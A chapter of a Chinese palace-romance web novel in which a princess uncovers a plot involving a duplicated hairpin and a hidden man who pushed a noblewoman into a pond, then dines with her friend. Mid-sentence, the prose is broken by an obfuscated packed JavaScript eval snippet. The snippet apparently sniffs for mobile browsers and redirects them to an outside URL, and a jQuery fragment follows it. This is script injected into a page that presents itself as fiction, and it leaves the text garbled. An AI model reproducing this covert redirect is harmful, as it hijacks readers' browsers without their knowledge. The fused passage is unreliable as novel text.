19. 还不是因为你
作品:《偏执公主的掌心宠(原名寰海清)》 赵云晨抬起眼来看向虞青忆:“臣女也正有一事想要请教殿下。”
虞青忆看清她眼底翻滚着的暗色,眉梢向上抬了抬:“说。”
赵云晨慢慢从袖中拿出一支簪子来,递给虞青忆:“这支簪子,殿下看着可眼熟?”
虞青忆接过来打量了一眼。嘶......好像是有些熟悉。
她张了张口,刚想问什么,就见赵云晨眼都不眨地盯着自己:“所以殿下,臣女亲手做了送给您的簪子,又怎么会出现在她郑映汐的头上?”
虞青忆看着那支簪子,忽然想起来了。
这支簪子是她当年随军出征的当日,有人来给她送来的。与簪子一起被送到她手里的,还有一道平安符和一封书信。
信上写着,她受虞青忆的救命之恩,如今虞青忆即将奔赴战场,她身为伴读,却甚至不能来送别。
信上说,这支木簪是她费了几日几夜亲手做的,平安符也是她去白龙寺亲自求来的,还找寺里的老方丈开过光,灵验得很,定会护佑殿下百战百胜,毫发无伤地凯旋而归。
可是......
“可是你送我的那支簪子被我好好地收到了我的首饰箱里,”虞青忆蹙着眉道,“今早梳头时我还看见了呢。”
赵云晨怔忡了片刻,随即有些激动道:“真的?那殿下您喜不喜欢这支——”话说出去半截,她像是又意识到哪里不太对劲,转眼看向虞青忆,“不对啊,如若殿下您好好收起来了,那现在您手里的这支簪子又是从哪里来的?”
“你当时做簪子的时候,有没有旁人见过?又或者说,你那儿还有没有别的簪子与送我的这支相似的?”虞青忆苦笑着揉了下眉心,半晌,她闭了闭眼,叹息一声,“赵云晨,我们被算计了。”
*
凤鸣宫。
主殿里地龙烧的正旺,虞青忆由着宫人给她开了殿门,迈步走进去,带了满身的寒凉。
郑映汐正坐在软座上捧了只瓷碗,小口小口地喝着小厨房刚烧出来还冒着热气的姜汤。听见动静便转头看向门边,正与蹙着眉不知在想什么的虞青忆对上了视线。
目光落在郑映汐的身上,虞青忆脚步一顿。
京城大家族的贵女们出门,为了防止出现这样那样的突发事件或是什么不便,往往是要多带几套式样、颜色和花纹差不多的衣裳的。这样也能避免一些不必要的麻烦,不会平白叫人损了名节去。
今日的事情就是一个很好的例子。
若不是郑映汐提前多准备了几套可以替换的衣裳,又恰巧遇上了在坤宁宫得了消息赶过去的虞青忆,只怕是她要穿着湿透了的衣裳回到德妃所住的储秀宫了。
且不论她会不会因此着凉伤了身子,单说她湿着衣裳在宫中行走,会遇上多少外男?恐怕还走不到储秀宫她的名节就全毁了,虞青泽也会受人耻笑。
到时候,留给郑映汐的,恐怕也只有死路一条。
但好在,她及时赶到了。
虞青忆刚才的神经一直紧绷,直到现在回到自己熟悉的凤鸣宫中来才稍稍放松了下来。随之而来的,还有再看到郑映汐时心头涌上来的后怕。
她于是快步朝着郑映汐走过去。
郑映汐今日进宫原是要跟着虞青泽一起来给德妃请安的,于是便穿得稍稍庄重了些,不仅花纹较为正式,颜色也是深重一些的碧城蓝色。这会儿换下来穿了身春辰色青鸟衔枝纹妆花罗袄子配天水碧色喜鹊登梅纹暗花绸襦裙,倒显得她整个人明丽活泼,像是又回到了少年时候。
“这衣裳真衬你。”虞青忆去到郑映汐身边坐下,朝她笑笑,“我那儿还有两匹浮光锦,我素日里也总穿不上,索性给了你捎着吧。”
“这多不好意思?”郑映汐十分有觉悟道,“我来一趟你宫里,这怎么还连吃带拿的......”
“那怎么了?”虞青忆抬眉看过去,“我就乐意给。怎么,你还不愿收?”
“愿意愿意,当然愿意。”郑映汐放下手里的瓷碗眼睛亮晶晶地回望过去,“照你这送法,我大约不用多久就能成为京城第一有钱的人了。”
“殿下,水已经烧好了,您看......”清商走过来,示意虞青忆也该去沐浴,换下身上湿了一片的衣裳了。
“好。”虞青忆也觉得身上有些发冷,于是从善如流地站起身来,走出两步又回转头看一眼郑映汐,“你现在这坐一会儿,有什么事就吩咐宫人就好了,等会儿我出来还有事要同你商量。”
“行,你就放心吧,”郑映汐拍着胸脯保证,“我一定拿这儿当自己家。”
虞青忆失笑,放心离开了。
*
“殿下,查到了,”凌羽给虞青忆舀着温水,“今日在场的有兵部尚书家三小姐、五小姐、九小姐,还有礼部尚书家三小姐和六小姐,户部侍郎家二小姐和刑部尚书家四小姐是后来吵起来之后听见动静才跟过来的,还有随行的丫鬟婆子。”她看一眼合着眼靠在浴桶壁上的自家殿下,声音不自觉放轻了些,“奴婢让人去打听过了,没人看见有什么奇怪的人。不过......倒是有个小丫鬟说,看见郑小姐落水的时候,赵小姐还没碰到她,是从人群中伸出一只手来将她推到水池里的。”
虞青忆睁开眼:“有没有看清是什么人?”
“奴婢仔细问过了,”凌羽缓缓地摇了下头,“当时亭子里的人确实也挺多的,那个小丫鬟说她也没看清到底是谁,只记得那个人的袖子是青灰色的,右手手腕上还有一块细长的红褐色的胎记。”
闻言,虞青忆没说话,任由清商在一旁拿着木质的软刷揉着她的头发,就这么静静地想着。
半晌,她阖上眼,终于开了口:“去找一个身高大约在五尺半到六尺之间**,身穿沙青色外衣,袖子是藕灰色的男人。右手手腕上大概率也不是什么胎记,而是伤口处结的血痂,那这个人近期一定受过伤,而且应
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17233015|197082||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
该是刀伤,受伤时间不超过十天。”她的声音停顿了下,“这人是个练家子,你们查的时候注意安全。”
“是。”凌羽暗暗记下了那个人的特征。
只是......
清商有一处没听明白,想了想,还是迟疑着出声发问:“那个......殿下,为什么那个人是个男人?当时在亭子里的不是除了各位小姐们就是丫鬟婆子吗?”
听见她这么问,凌羽也动了动,悄悄竖起耳朵来听。
“因为啊......”虞青忆的唇角勾起一个神秘的弧度,她高深莫测地开了口,“因为我救人的时候看见他了呀。”
哈哈。。
原来是这样。
清商和凌羽对视一眼,都默契地没再问别的问题。
*
等到虞青忆沐浴完,再换好清商给她准备好的衣裳,膳房紧着做好给送过来的菜也已经热气腾腾地被端上了桌。
一道郑映汐点的雪霞羹,还有栗子煨鸡和挂炉烤鸭,剩下的虞青忆说让膳房看着做,膳房自然也不敢怠慢,膳房总管还亲自掌勺做了道拿手菜。一道梅蕊鹌子羹肉质劲道,又萦着梅蕊的清香;一道冻玉豆腐是将熬好的火腿高汤浇到提前在户外冻了三昼夜的盐卤豆腐上,再撒上些虾籽,口感外韧内润,似冻玉含浆;还有一道白总管的拿手菜——冰湖鱼烩,是取冰下活鱼去鳞,用宣纸包裹,外层糊黄泥,再将其埋入炭火余烬煨熟,最大限度保留的鱼肉的鲜嫩,而且对火候掌控的要求极高。最后还有一道饭后解腻的酿雪圆子,外皮渗入藕粉,呈半透明,再撒上一层糖腌桂花,似琉璃映雪。
郑映汐尝了一口栗子煨鸡就惊为天人:“简直比二皇子府的好吃一百倍!”她转眼看一眼虞青忆,开玩笑道,“要是明晚上的除夕宴有这儿的菜一半好吃我就很知足了。”
虞青忆失笑,也喝了口冻玉豆腐的汤,眉梢抬了抬,道:“今日膳房所有人都赏!”
两人边吃边闲聊,过了会儿,郑映汐才忽然想起来似的出声问道:“对了,你之前说要与我商量什么事情来着?”
虞青忆也才想起来,哦了一声开口道:“过几日赵云晨回去你府上当面跟你赔罪,我提前先跟你说一声。”
她毕竟不能替郑映汐去原谅任何人。
“害,你说这事呀。”郑映汐像是没太在意,“又不是她推的我,她给我道歉干嘛?再说了,我们两个早就这样吵习惯了,其实吵来吵去也就不放在心上了。”
虞青忆见她心里有数,也就没再过多干涉,只是突然想起来什么,终于忍不住问出了她一直好奇的问题:“你们俩当初到底是因为什么才把关系闹成这个样子的?”
“你还好意思问?”郑映汐忽然看着她笑起来,“还不都是因为你。”
虞青忆这下是真没想到,她有些错愕道:“因为我?”
**:参照宋代度量衡,约为现代的一米六五到一米七之间。

